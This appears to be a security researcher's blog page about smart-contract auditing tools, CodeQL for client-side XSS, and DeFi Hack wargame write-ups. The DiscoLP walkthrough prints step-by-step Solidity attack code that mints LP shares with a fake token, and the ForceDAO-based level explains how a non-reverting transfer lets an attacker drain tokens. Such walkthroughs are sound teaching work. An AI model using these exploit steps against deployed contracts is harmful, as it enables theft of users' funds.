Finished a weekend project that may be useful for onchain vulnerability analysis of deployed smart contracts:
https://github.com/Decurity/tx-coverage
tx-coverage allows to reveal unused code of live smart contracts by collecting coverage from historical transactions.
With it you can discover code that was never executed onchain and may contain potential bugs.
Slides & video from my talk about the security of proxies in smart contracts at OFFZONE 2022
Принял участие в новом эпизоде подкаста “Сушите вёсла”, посвященном блокчейну, смарт-контрактам и их безопасности. Приятного прослушивания!
There has been plenty of hacks when a smart contract was forked and some things were changed without full understanding of the code.
To help auditors I have built https://contract-diff.xyz
This is how it works 🧵
For popular contracts like OpenZeppelin, Uniswap, Sushiswap, etc two kinds of hashes were computed: md5 hashsums & simhashes. Using hashsums we can find exact matches of contract sources. With simhashes it is possible to find contracts that are very similar to each other.
EtherScan does not verify the integrity of the included libs. With https://contract-diff.xyz you can quickly figure out which versions of libs are actually used. If a hashsum is not found in the database, but there is a contract with a similar simhash you will see a diff view.
One example is Uranium hack which was a fork of Uniswap v2:
Here you can see that there were mostly renamings but also an important change to the logic which led to $57,000,000 loss:
https://www.contract-diff.xyz/?address=0xa08c4571b395f81fbd3755d44eaf9a25c9399a4a&chain=1
I am planning to add more chains (currently only Ethereum mainnet & BSC) as well as support more contract flatenners (they are really weird). Will appreciate any feedback. Cheers!
Originally tweeted by Raz0r (@theRaz0r) on 16 February 2022.
GitHub’s CodeQL is a robust query language originally developed by Semmle that allows you to look for vulnerabilities in the source code. CodeQL is known as a tool to inspect open source repositories, however its usage is not limited just to it. In this article I will delve into approaches on how to use CodeQL for web application audits, specifically to discover client-side vulnerabilities.
The idea of CodeQL is to treat source code as a database which can be queried using SQL-like statements. There are lots of languages supported among which is JavaScript. For JavaScript both server-side and client-side flavours are supported. JS CodeQL understands modern editions such as ES6 as well as frameworks like React (with JSX) and Angular.
CodeQL is not just grep as it supports taint tracking which allows you to test if a given user input (a source) can reach a vulnerable function (a sink). This is especially useful when dealing with DOM-based Cross Site Scripting vulnerabilities. By tainting a user-supplied DOM property such as location.hash one can test if this value actually reaches one of the XSS sinks, e.g. document.innerHTML or document.write().
(more…)This is a series of write-ups on DeFi Hack, a wargame based on real-world DeFi vulnerabilities. Other posts:
DiscoLP
DiscoLP is a brand new liquidity mining protocol! You can participate by depositing some JIMBO or JAMBO tokens. All liquidity will be supplied to JIMBO-JAMBO Uniswap pair. By providing liquidity with us you will get DISCO tokens in return!
The goal of this level was to get at least 100 DISCO tokens having only 1 JIMBO and 1 JAMBO. The target contract DiscoLP had only one public function named “deposit” with an explicit statement in the comments:
// accepts only JIMBO or JAMBO tokens
Uniswap is designed in such a way that one has to deposit a pair of tokens in the same proportions, but this function allowed to stake a single token swapping half of the value for the second token. In return LP shares were awarded. This level is a replica of the rAAVE farming contract hack that happened in February, 2021. As you may guess, the depositToken() function was not limited to JIMBO or JAMBO tokens, but actually accepted any token, there was no validation of the _token argument. It means that literally any token could have been staked that allowed to mint DISCO out of thin air. Although the cause is simple, the attack execution requires multiple steps.
First of all, an attacker has to create an arbitrary token:
Token evil = new Token("Evil Token", "EVIL"); // Token is ERC20After that attacker approves unlimited EVIL spending to the instance of the level and to the Uniswap router:
evil.approve(instance, 2**256 - 1);
evil.approve(_router, 2**256 - 1);The goal of the whole attack is to get some fake LP shares after providing liquidity to the Uniswap pair with JIMBO and attacker’s EVIL token in place of JAMBO. The attacker also approves spending of JIMBO to the Uniswap router, so that the swap in the depositToken() function succeeds:
IERC20(tokenA).approve(_router, 2**256 - 1);After that a JIMBO-EVIL Uniswap pair is created:
address pair = IUniswapV2Factory(_factory).createPair(address(evil), address(tokenA));After transfering a single JIMBO token that we have to the attacker contract, we add liquidity to the created pool:
(uint256 amountA, uint256 amountB, uint256 _shares) = IUniswapV2Router(_router).addLiquidity(
address(evil),
address(tokenA),
100000000000 * 10 ** 18, // EVIL liquidity
1 * 10 ** 18, // 1 JIMBO
1, 1,
address(this), // address to send LP shares (attacker contract)
2**256 - 1);Finally we deposit fake LP shares to DiscoLP contract:
DiscoLP(instance).depositToken(address(evil), amount, 1);After swapping zero-value EVIL tokens, we get plenty of DiscoLP shares! You can find the full source code of the attack contract here: https://github.com/Raz0r/defihack/blob/master/contracts/attacks/DiscoLPAttack.sol
Back in 2018 I hosted the contest EtherHack which featured a set of vulnerable smart contracts. At that time the tasks were focused primarily on the EVM peculiarities like insecure randomness or extcodesize opcode tricks. Back then the first wave of crypto hype was coming to the end when numerous ICOs were falling apart because they did not deliver on expectations. Nowadays the crypto space is much more mature as it has got a truly useful and promising application of the blockchain technology: DeFi.
DeFi stands for decentralized finance and aims at replacing traditional financial institutions like banks, hedge funds, insurance companies and many others. By eliminating the third party, DeFi allows to manage funds in a truly decentralized way minimizing corruption and promoting real ownership. With that said, DeFi is transparent not only to the legitimate users but also to the malicious actors. That is why smart contract failures are as critical as never before. The composability of different DeFi protocols increases the complexity of smart contract interactions. It is a really hard task to make a smart contract secure which is proved by numerous hacks of DeFi protocols that have happened over the past months. In order to raise awareness and demonstrate typical vulnerabilities of DeFi protocols me and Omar Ganiev (twitter, telegram) created the DeFi Hack wargame. Unlike Damn Vulnerable DeFi, a similar CTF made by OpenZeppelin, the tasks of DeFi Hack are based on real vulnerabilities of DeFi protocols. This is the walkthrough of the first level.
May The Force Be With You
A long time ago in a galaxy far, far away… a new DAO was created. Can you steal all the YODA tokens belonging to MayTheForceBeWithYou contract?
This level replicates the ForceDAO hack that happened in April, 2021 and resulted in the loss of 183 ETH (~$367K). The original vulnerable xFORCE smart contract was a fork of the xSUSHI vault. It allowed to deposit some FORCE tokens and get some xFORCE minted in return. When the contract transferred FORCE tokens from the user, it assumed that transferFrom() would revert if the user did not have enough tokens. However, the contract used Aragon’s MiniMe ERC20 implementation that returned a boolean value instead of reverting:
function doTransfer(address _from, address _to, uint _amount) internal returns(bool) {
if (_amount == 0) {
return true;
}
// Do not allow transfer to 0x0 or the token contract itself
require((_to != address(0)) && (_to != address(this)));
// If the amount being transfered is more than the balance of the
// account the transfer returns false
if (balances[_from] < _amount) {
return false;
}
// First update the balance array with the new value for the address
// sending the tokens
balances[_from] = balances[_from] - _amount;
// Then update the balance array with the new value for the address
// receiving the tokens
require(balances[_to] + _amount >= balances[_to]); // Check for overflow
balances[_to] = balances[_to] + _amount;
// An event to make the transfer easy to find on the blockchain
Transfer(_from, _to, _amount);
return true;
}
As you can see instead of calling revert() the contract just returns false if the balance is insufficient. It means that it was possible to basically mint tokens for free. The same logic was implemented in the task. In order to solve it one had to send two transactions: firstly call deposit() with the amount of xYODA tokens to mint, and then call withdraw() to drain the YODA tokens.
The source code of DeFi Hack is now open, you can see the solution of this level as a Hardhat test.
Other posts:
It has been quite a while since GraphQL has been introduced by Facebook, lots of tools and frameworks has appeared and are being used in the wild now. In 2017 I made an overview of the technology from the security point of view in the post “Looting GraphQL for Fun and Profit” and some of the predictions turned out to be true. For instance, “resolvers may contain ACL-related flaws“. In this post I would like to show an example of such case in a popular GraphQL backend called graphcool.
(more…)